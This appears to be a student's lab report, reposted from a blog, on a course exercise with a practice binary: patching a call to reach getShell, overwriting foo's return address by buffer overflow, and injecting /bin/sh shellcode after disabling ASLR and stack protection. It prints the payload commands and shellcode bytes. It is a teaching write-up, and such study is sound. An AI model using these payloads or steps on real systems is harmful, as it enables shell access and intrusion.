zoukankan      html  css  js  c++  java
  • 20155312张竞予 Exp1 PC平台逆向破解(5)M

    Exp1 PC平台逆向破解(5)M

    目录


    实验内容

    实验知识概要

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    通过反汇编指令objdump -d 20155312zjy查看可执行文件20155312zjy的反汇编代码和对应的机器码,如下图所示:

    我们不难发现:

    • NOP汇编指令的机器码是“90”
    • JNE汇编指令的机器码是“75”
    • JE 汇编指令的机器码是“74”
    • JMP汇编指令的机器码是“eb”
    • CMP汇编指令的机器码是“39”

    想要了解其他指令的机器码,可以参考汇编指令和机器码的对应表

    2.掌握反汇编与十六进制编程器

    • 反汇编指令是“objdump -d objfile” ,其中-d参数是
      从objfile中反汇编那些特定指令机器码的section,和它类似的还有-D参数,但它反汇编所有section。
      • 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
    • 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
      • ① 输入命令vi 20155312zjy查看可执行文件内容,发现大部分是我们没法理解的乱码;
      • ② 按esc后输入:%!xxd将显示模式切换为16进制模式;
      • ③ 进行相关操作后,输入:%!xxd -r转换16进制为原格式。

    3.能正确修改机器指令改变程序执行流程

    见实验步骤及结果第一部分

    4.能正确构造payload进行bof攻击

    见实验步骤及结果第三部分

    返回目录


    实验步骤及结果

    一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

    1. 用反汇编指令objdump -d 20155312zjy指令查看可执行文件20155312zjy(pwn1的副本)的反汇编结果;
    2. 锁定需要改的目标代码80484b5: e8 d7 ff ff ff call 8048491 <foo>
    3. 对比getShell函数的地址0804847d和foo函数的地址08048491,可以发现两地址之差为十六进制“14”;
    4. 分析call汇编指令的机器码,可以锁定e8这个字节为代码部分,代表call这个指令,后面的“d7 ff ff ff”这四个字节为数值部分,代表指令跳转时需要与“eip”寄存器相加的偏移量;
    5. 由于数值存储方式为小端方式,所以锁定需要改的字节为“d7”,将它与地址差“14”做减法运算后的值为“c3”;
    6. 用vim编辑器打开20155312zjy文件vi 20155312
    7. 将该文件转换为十六进制显示:%!xxd
    8. /e8d7查找需要修改的内容;
    9. 修改d7为c3;
    10. 转换16进制为原格式::%!xxd -r
    11. 保存并退出;
    12. 反汇编看一下,发现call指令正确调用getShell;
    13. 运行zjy20155312,截图如下:

    至此完成了修改机器指令改变程序执行的流程。

    返回目录

    二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

    实验步骤如下:

    1.分析代码,发现foo函数存在Buffer overflow漏洞

    2.foo函数中读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址;

    3.正常情况下call调用foo,同时在堆栈上压上返回地址值:0x80484ba;

    4.确认输入字符串哪几个字符会覆盖到返回地址;

    5.用gdb调试程序,输入有规律的字符串如“1111111122222222333333334444444412345678”

    6.缓冲区溢出,程序停止执行,堆栈保持当前状态;

    7.用info r查看寄存器eip的值,看输入的哪个字节覆盖了它,锁定“1234”这四个字节;

    8.由于1234 那四个数最终会覆盖到堆栈上的返回地址,所以我们要用getshell的地址0x0804847d替换它;

    9.由于数据的小端方式存储,我们要在32字节后输入x7dx84x04x08这四个字节来覆盖返回地址为getshell的地址;

    10.输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input将字符串用perl脚本语言写入input文件;

    11.用xxd input以16进制显示input文件,检查写入地址的正误;

    12.确认无误后用(cat input;cat) | ./20155312zjy2来将改字符串作为可执行文件的输入。

    返回目录

    三、注入一个自己制作的shellcode并运行这段shellcode

    1.准备工作:用execstack -s pwn1 设置堆栈可执行;

    2.execstack -q pwn1 查询文件的堆栈是否可执行;

    3.more /proc/sys/kernel/randomize\_va\_space 2

    4.echo "0" > /proc/sys/kernel/randomize\_va\_space关闭地址随机化;

    5.more /proc/sys/kernel/randomize\_va\_space 0

    6.完成准备工作,我们要明确自己的目的是将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址;

    7.打开终端让可执行文件20155312zjy2在运行状态,再开一个终端;

    8.用ps -ef | grep 20155312zjy2来显示与20155312zjy2有关的进程列表,从而确定正在执行的进程的进程号2195;

    9.用gdb调试程序;

    10.用attach 2195与进程建立连接;

    11.用info r查看寄存器的值,其实此时我们可以通过栈顶的地址计算出buffer的首地址,我们先不算,继续后续操作;

    12.用disassemble foo反汇编foo函数

    13.用break *0x080484a5在输入后输出前设置断点;

    14.c即continue继续

    15.运行程序的一段输入字符串,如12345678,为了确定buffer的首地址,我们只需要找到“1”这个字节的地址即可;

    16.用info r查看esp栈顶指针的地址;

    17.用x/16x 0xffecafc0以16进制查看esp寄存器地址开头的内存中的值;

    18.找到buffer在堆栈中的位置,计算出地址为0xffecafdc

    19.如果我们要在返回地址前注入,就需要用perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90xdcxafxecxffx00"' > input_shellcode这个语句,返回地址对应其中的“xdcxafxecxff”,shellcode代码为“x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80”;

    20.接着用同样的方法将input_shellcode文件中的内容作为20155312zjy2这个文件执行时的输入即可。

    至此,完成了构造payload进行bof攻击。

    返回目录


    问题及解决方案

    ①修改更新源sources.list

    • 添加下列更新源到/etc/apt/sources.list文件
    #阿里云kali源  
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
    deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
    deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
     
    #中科大kali源  
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
    deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
    deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
    
    • 对软件进行一次整体更新
    apt-get clean
    apt-get update
    apt-get upgrade
    

    ②安装32位运行库

    apt-get install lib32ncurses5
    

    运行后会等待一会会出现如下提示界面,这时按一下回车就好了:

    • 问题2:在解决问题1时,运行apt-get upgrade时提示“有未能满足的依赖关系”
    • 解决:按照系统提示,运行apt --fix-broken install即可,如下图所示,待执行完毕进行后续操作即可。

    返回目录


    实验感想

    1.我的收获

    第一次动手修改机器码,应用了上学期深入理解计算机系统中Y86-64指令集体系结构中的相关知识,发现知识的相关性很容易帮助我们理解更多的内容;第一次动手实现缓冲区溢出攻击,终于理解了堆栈是这么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的。

    2.什么是漏洞?漏洞有什么危害?

    通过这次实验,我发现缓冲区溢出漏洞是在程序设计时,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的,这些漏洞可能一方面与程序设计有关,一方面还与计算机本身的设置和属性有关,比如要想构造payload进行bof攻击,必须提前更改相关设置,让堆栈中的代码可执行,这也可以体现出计算机设置不足也会给攻击者提供机会。危害很大,被攻击的计算机可能会进入命令行模式,从而攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。

    返回目录


    参考资料

  • 相关阅读:
    Django通过中间件配置解决跨域
    Kindeditor初始化、及初始化编辑内容
    Bootstrap免费后台管理模版
    微信小程序开发-网络请求-GET/POST不同方式等
    微信小程序开发-文件系统
    微信小程序开发学习记录-源码分享
    【转载】python实例手册
    【改良的选择排序 】
    【选择 插入 冒泡排序】
    【python基础】 Tkinter 之 几何管理器
  • 原文地址:https://www.cnblogs.com/zjy1997/p/8546932.html
Copyright © 2011-2022 走看看